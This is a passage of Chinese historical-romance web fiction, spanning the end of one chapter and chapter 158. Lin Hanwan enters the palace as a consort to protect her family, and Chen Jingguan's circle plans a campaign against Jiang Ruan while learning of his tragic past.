林含晚望着林均许远去的背影还是没能发出心中的质问,可知女莫若母,她身边的梅椿走过来把她揽在怀里,作势带着她回到里屋。 “你原本想说什么?” 梅椿的表情不算和蔼,她知道自己养出来的女儿自然有着她的血性,可她不希望林含晚一错再错,她不想林含晚走上林含章的路。 “我只是问皇上是不是有意选妃,父亲连这个也不愿意告诉我吗?” “你想去?” 林含晚“嗯”了一声,梅椿却不自觉地叹气道:“你以为皇宫里锦衣玉食能比你在家舒服?你陆娘娘过得什么日子你看不见?你觉得她幸福吗?” 林含晚没说话,梅椿却也不忍心再训斥她,她招了招手让林含晚过来,拉住她的手道:“母亲希望你一辈子平平安安,快快乐乐,身为林家的孩子,这不难。” “真的吗?” 林含晚反问着,“可姐姐不也整日在替姐夫操劳?她嫁给了自己最爱的人,却要看着自己最爱的人陨落。母亲,如果爱迟早要消亡,那我宁愿找个永远靠得住的夫家。” “你觉得皇家,就永远能靠得住?” 林含晚摇头,“我能依靠的不是元焕,是元家,只要北梁尚在,没有人能动摇的我的位置。” 梅椿望着林含晚的目光生出了几分诧异,她恍惚间像是听不懂女儿在说什么了,又或者她不相信这番话是从林含晚嘴里说出来的。 梅椿也宁愿这番话不是从林含晚嘴里说出来的。 “母亲,”林含晚继续道,“陆家能有今天,陆将军自是功不可没,可后宫里掌着北梁半边天的是陆娘娘,他陆家能在这场仗中引得先帝顾忌,也是因为陆娘娘。” “我想去试试,”林含晚挣脱开了梅椿的手,“我想为我林家也谋一条中宫之路。” 林含晚望见了梅椿眼底的泪水,她轻轻抚上母亲的脸颊,用手指摩挲着梅椿眼下的皱纹。 “我知道我能做的不多,可我愿意做我能做的一切。既然这世间少不了争斗,那在家宅庭院是斗,在那四方天也是斗,我林家的女儿没有怕过谁,我偏要用我的力气保林家再不受此劫难!” 那一日林均许回家后没有见到林含晚,只看到坐在床榻边抽泣的梅椿,他跑过去心焦地问怎么了,梅椿说她丢了两个孩子。 “她进宫去了?” 梅椿点头,将林含晚说给自己的话都告诉了林均许,却又在林均许转身要去寻林含晚的时候拉住了他,“别去了,你又怎么可能拦得住她?” 林均许恼怒地扶额,他责怪不了梅椿,他只能不停责怪自己平日对林含晚关心少了,以至于让她觉得家里的一切变故都是因她而起。 “她怎么进宫的?没人带她进不去。” 梅椿抬头望着林均许,在林均许的目光审视下终于松了口,“她去找了方荔。” “你们这简直是胡闹!就她方才那些话要是说给元焕,我们林家就是杀头的罪!” 林均许冲出房门,却迎面撞上了从赋阳宫来送信的内侍。 “林相,这个您收好,”内侍递上来元焕的亲笔信,“淑妃娘娘的东西皇上都给备好了,就是要委屈娘娘暂住赋阳宫便殿,等先帝孝期一过,皇上会给娘娘一个名分。” “淑妃。” 刚从门外进来的林朝槿听到了内侍的所有话,她接过林均许手里的信,可一边看却又一边哭,梅椿推说她舍不得妹妹,带着她先一步进了屋。 林均许敏锐地捕捉到了那句“林相”,他也就知道了信上的内容,他微微点头道:“多谢公公,还请公公帮我带句话。” 内侍抚耳听着,林均许却哽咽起来,“让她有空回家来看看,她想知道的我都告诉她,我真的没有生过她的气,我真的没怪过她,我也不需要她替我……” “大人,”内侍出声打断了林均许的话,“还望慎言。淑妃娘娘得遇圣恩,这是旁人盼不来的。” 林均许点头道了句“是”,眼睛却湿了。他知道此人是陆韶怜派 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林含晚笑着顿了顿声,“从前我觉得我对姐姐就好像是东施效颦,我永远追不上她,可昨晚我想明白了,东施效颦又何尝不是见贤思齐?我想成为对家里有用的人,对北梁有用的人。” 陆韶怜叹了口气,她拍着林含晚的手说:“好孩子,你也算是我看着长大的,你放心,我自然要给你最好的。况且元焕是喜欢你的,淑妃只是个过渡,过了孝期我让他上门明媒正娶。” 陆韶怜微微停顿,“你真的今日起就不回家了?” 林含晚点头,却又忍不住问:“您不怪我在书房说的那些话?” 两个时辰前,林含晚怒气冲冲进了元焕的书房,内侍没拦住,跪着向元焕请罪,而他使了个眼神让人去请了陆韶怜。 “为什么陆家能满门上下官复原职,我林家却还要守在沧州?就因为他们掌着兵权,他们对你还有价值,除此以外呢?当真没有其他的了?” 元焕看着眼前的姑娘哭得梨花带雨,嘴角微微沁出一抹笑,“你是来找我兴师问罪的?可你有什么资格?今日就算你父亲亲自来,他也得先跪着向我请安。” 林含晚深吸一口气跪到了地上,大声说着“吾皇万岁”,然后仰着头问元焕,“还有呢?您平日都是怎么对我父亲的?” 元焕没说话,他看着林含晚的眼神变得冰冷了起来。只凭刚才那一句,林含晚现在应该已经身首异处了。可元焕没有动,他任由林含晚发疯。 “是,我们林家没儿子了,可我们林家不是没人了!”林含晚咆哮着,“论功绩父亲不输任何人,可他偏偏是文臣,偏偏没有个好家世。他这些年为北梁做了多少,到头来先帝忌惮他,给他唱了一出偷梁换柱,您即位了也还是不放过他,任由那些新得势的朝臣踩在他头上,我就是替他不甘心!” “那你今天来,就是为了声嘶力竭训斥我一番,然后等着被抬回林家吗?” 林含晚怎么可能不怕,这些话她一路上念叨了不下百遍,哪怕说完了也依旧发着抖,元焕走过来掐住她的下颚,关节的疼痛惹得林含晚皱眉。 “林均许已经到了需要你来替他出头的地步吗?要是如此,他不如早日让贤于年轻人。” “焕儿。” 殿外传来一声轻唤,元焕松开手对着陆韶怜请安。 “您来了,带着她下去吧。” 陆韶怜没动,元焕转身看了看眼前的两个人,他不知道陆韶怜在门口听见了多少,他只知道陆韶怜此时的脸色不算好看。 “你还有什么没说的,继续说。” 林含晚咽了咽口水,努力给自己打气,“前朝后宫从来密不可分,父亲护了我半辈子,我合该去替他挣个安乐晚年。我林含晚没有姐姐的心胸与才气,又偏偏是个女儿身,我从小争强好胜谁都不服,我就是想证明我不比任何人差。今日我进宫,明日就要成林家的倚仗。” “像我一样?”陆韶怜轻笑一声,“你想好了,要过我的日子?” 陆韶怜的语气依旧平缓,可林含晚说不出话了,陆韶怜无奈地摇头道:“我可以成全你,可我不会让你成为下一个我。” 那时屋里只有三个人,元焕和林含晚都没有听懂陆韶怜话里的意思,可站在门口的方荔听得一清二楚。 隔着纱帘,陆韶怜望到了方荔。 “既然是自己选的,就算是跪着你也得走完。我要你发誓,一生一世忠于元焕,是夫妻之间的忠,也是君臣之间的忠。” 158.凤鸣朝阳(八) “而且我没想到元焕那脾气居然真的应下了这门亲事,”陆栖野继续兴致冲冲地说,“我觉得姑母说的对,元焕应该是喜欢含晚的。其实含晚和朝槿姐姐各有各的美,完全没必要比较嘛。” 陈京观笑着没有接话,可站在一旁静静听完了整件事的席英却开了口。 “她也不是想比,她就是太愧疚了,而她又没有其他办法。本来林朝槿就太好了,映衬得她如此渺小,再加上晏离鸿和林含章的事情,毕竟是十五六岁的姑娘,哪一个不会多心。” 苏清晓抬头看了席英一眼,“你也曾经这般吗?” 席英轻笑了一声,突然想到了自己第一次见陈京观时的扭捏,她点了点头,“我第一次被人抱,就是被兄长从阙州捡回去。我那时候真的不知道自己应该如何报答他,我能想到的就是把我自己给他。” 苏清晓转头盯着陈京观,陈京观忙解释道:“她是我妹妹!” 席英擦干手上的水扭过了苏清晓的头,眼含笑意望着他,“是啊,我是他妹妹,是他让我成了席英。” “好好好,当初答应你的,我要排在陈京观后面。” 苏清晓故作委屈地嘟着嘴,席英却用肩膀撞了撞他,身边的人立刻不值钱地笑了。 “不过我还是要谢谢这个大舅哥,你说多巧啊,你怎么就想到‘广庭清晓席群英’了呢?” “你可别往你脸上贴金,”陈京观白了苏清晓一眼,“我当初就是祝她能在男人占据的朝堂上战群英。” 陈京观感觉席英的目光落在了他身上,他回望着自己养大的小姑娘,他觉得自己此时脸上的笑可以称得上慈祥。 “这样其实也挺好,元焕是个良人,接了含晚进宫后就将选妃的事情搁置了。”陆栖野望着眼前的场景傻笑,突然又开始伤春悲秋,“就是后来我再去林家的时候,那屋子冷清了不少,就剩下林家叔婶了。” “林朝槿没再说什么?” 陆栖野摇头,“我听说她自己进了一趟宫,和林含晚待了一晚上,两个人第二天眼睛都肿肿的。我哥问了嫂子含晚一切都好吗,嫂子说她以后想多进宫陪陪她,我哥应了,说要替嫂子也挣个诰命。” 突然之间,那些从陈京观生命中经过的人都好像找到了归宿,他们心里落了不多不少的积雪,却也找到了能陪自己一同扫雪的人。 “你没什么想法?” 陈京观转头问着陆栖野,却只看到陆栖野笑着摇头,“我想先把父亲没做成,哥做不成的事情做了。” 陈京观“嗯”了一声,一屋子的人其乐融融地吃完了一顿饭。饭后穆晓山提出要辞行,说他不放心沁格一个人守着西芥,准备带着一小队人回去了。 临走前穆晓山盯着陈京观很久没说话,但是两人通过眼波流转会了意。 “去的时候是三个,再去的时候就他一个人了。” 陈京观自言自语着,陆栖野拍了拍他的肩膀,“可如果那日去敬安山的不是你,他们一个都留不下。” 陈京观低下头没说话,苏清晓就架着他的胳膊往回走,“行了,感慨完要做正事了,一个月了,你们不觉得该到江阮有所动作的时候了吗?” …… 此时泯川江另一边的朔州,未央宫里的江阮揉了揉鼻子,一个呼之欲出的喷嚏被他憋了回去。 “倒是我低估了他,这一局算他赢了。” 江阮身边的宋衾褰将梨汤罐子打开,一股沁人心脾的清香消散了江阮眉间的阴云。 “姐姐,你要再这么养我,我下次逃跑就跑不掉了。” 江阮开着玩笑用汤勺舀了一勺,随即笑眼弯弯说了一句“真甜”。可宋衾褰却被他这句话刺中了心事,她犹疑片刻,小心翼翼地问:“我们要输了吗?” “不会,“江阮放下手里的汤勺,眼睛盯着手底下的地图,缓缓将手指指在了朔州的位置,“我赌,他们下一步会直捣黄龙。” “为什么?” 江阮脸上的笑意味深长,却没有急着回答宋衾褰的问题,他重新将目光聚焦在那碗梨汤上,澄黄色的汁水里偶尔可见两三颗枸杞,就如同有人滴了两三滴血。 “他看见贺福愿了,那就应该又想到温书让了。如今南魏该死的都死了,他扶上去的小皇帝对他言听计从,他脑海里还能剩下什么,”江阮轻笑道,“只能是我了啊。” …… “元焕的意思是如果你还活着,我们就集合两军之力一举拿下朔州,最起码要让江阮先尝尝打败仗的滋味,灭了他的威风。“ 回到屋里,陆栖野将元焕早上托人送来的信递给陈京观,陈京观没有打开,陆栖野便简单给他复述了一遍。 “朔州,”陈京观的目光渐渐虚焦,像是在脑海里演算着如此行为的结果,“元焕有多大把握?” “北梁如今的兵力肯定不如从前,毕竟老人让晏离鸿带走了不少,剩下的又因为军户制废止走的走,但他肯定会派我哥亲自带兵从凌州跨江而战,同时遥州的范将军可以做策应,他是父亲的老部下,信得过。我们只需要穿过遥景平原一路北上,到时候就能把江阮困死在朔州。” 陈京观微微点头,片刻后却又缓声道:“可你不觉得这一切很熟悉吗?” 陆栖野侧过头看着陈京观,陈京观却只是笑着没说话。陆栖野又低头看了看桌上的地图,恍然大悟道,“呵,你别说,是挺熟悉。当初他就是这般将我们骗到遥州的,而他趁机拿下了崇州。” 只可惜,同样的错误陈京观不会再犯第二次了。 江阮没猜错,陈京观是在看到贺福愿之后又想起了温书让,甚至贺福愿的死又一次点燃了陈京观对江阮的恨。 当贺福愿作出第一个动作时,陈京观就知道贺福愿已经接受了自己的结局,他的动作看似步步杀机,却在每一次动作时留了一寸,陈京观明白贺福愿对他下不去手,他还记得贺福愿说过“福愿,便是止戈”。 虽然陈京观直到最后也没能问出贺福愿当日为何选择易帜,可贺福愿死得那般坦然,甚至透露着一丝迫切,他落地时的声响如同砸在了陈京观心里,他的答案便也不言自明。 江阮的那套说辞确实诱人,在陈京观第一次猜到他那恢弘却又血腥的目的后,说实话,陈京观也问过自己那样的世界不好吗? 可正如苏清晓告诉萧祺栩的,这世上不是所有好的东西就是正确的,江阮想要的那个世界或许在未来真的会存在,可现在,在所有人心中都被根植了帝制的种子时,没有皇帝便意味着每个人都会成为皇帝。 人们得到的将不是自由,而是无止尽的彼此掠夺。 贺福愿知道自己选错了,于是在陈京观戳破他的面具后,选择心甘情愿死在他手下。 贺福愿说过,他相信陈京观。 “那你什么打算?” 陈京观的目光在泛黄的纸上移动,那些让江阮占了去的城池被他画了红圈,那红色像是血,从纸页背后渗出来。 “我们还是打这里。” 陆栖野应 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“你想说什么?” 苏清晓抬头看了陆栖野一眼,眼前的人缓缓点头,然后二人一齐望着陈京观。 “你对江阮,真的能杀得了下手?尤其在你知道了他的过去之后。” 陈京观的眼神向下移动,苏清晓知道这是他心虚的表现。 苏清晓没有再继续问下去,而是从身后的书柜里拿出一个匣子,陈京观不动声色,苏清晓就继续手上的动作,直到将那张记录着江阮过去的信摊开放在陈京观面前。 “这封信是什么时候的?” “那天我一个人去阙州城门,在你还没找到我的时候,有人用箭将这张纸钉在了我面前的树上。我四下看顾过,感觉像是灵蝶的手笔,等我打开一看,上面写着江阮过去二十年的人生。” 从前陈京观一直好奇是什么让江阮生出了要推翻整个帝制的想法,这想法疯狂又不着边际,如果没有诱因,没有人能想到这一步。 直到那封信展开在陈京观面前,他终于明白江阮为什么说他们很像了。 姚廣的无耻,让阮青衣和那个名为的姚渊的少年无家可归,受人白眼数十年;北梁的无情,让少年失而复得的家再一次因江子游的死而分崩离析;南魏的无义,让阮青衣拼上了一切才换了江阮苟且偷生。 陈京观活到现在不容易,江阮则比他还要难上百倍。 那一日陈京观没了家,却在雍州被宁渡放在了背上,江阮也没了家,却只能一个人沿着泯川江漂流到不知名的地方。 苦难是不能比较,可偏偏江阮的苦难里有陈频的浓墨重彩的一笔。 是陈频建议萧霖趁机除掉北梁埋在南魏的间谍,他作为南魏臣子当然无愧于忠君爱国之名,可他一句话,也的确让江阮失去了一切。 陈京观试图给江阮套上一个罪名,想让他看上去不再这般无辜,可从江阮被生下来那天起,他一件事情都没做错过,他和阮青衣努力活着,命运却堵死了他们的所有路。 也是那一刻,陈京观记起他在槐州做的那个梦。 皑皑雪景中,一个赤着脚的小孩拼命往前跑,后来他真的跑不动了,就跪在那雪堆上哭,那时的陈京观听不清他嘴里的话,现在却觉得那哭喊声整耳欲聋。 “老天爷!你睁开眼看看,我又做错了什么!”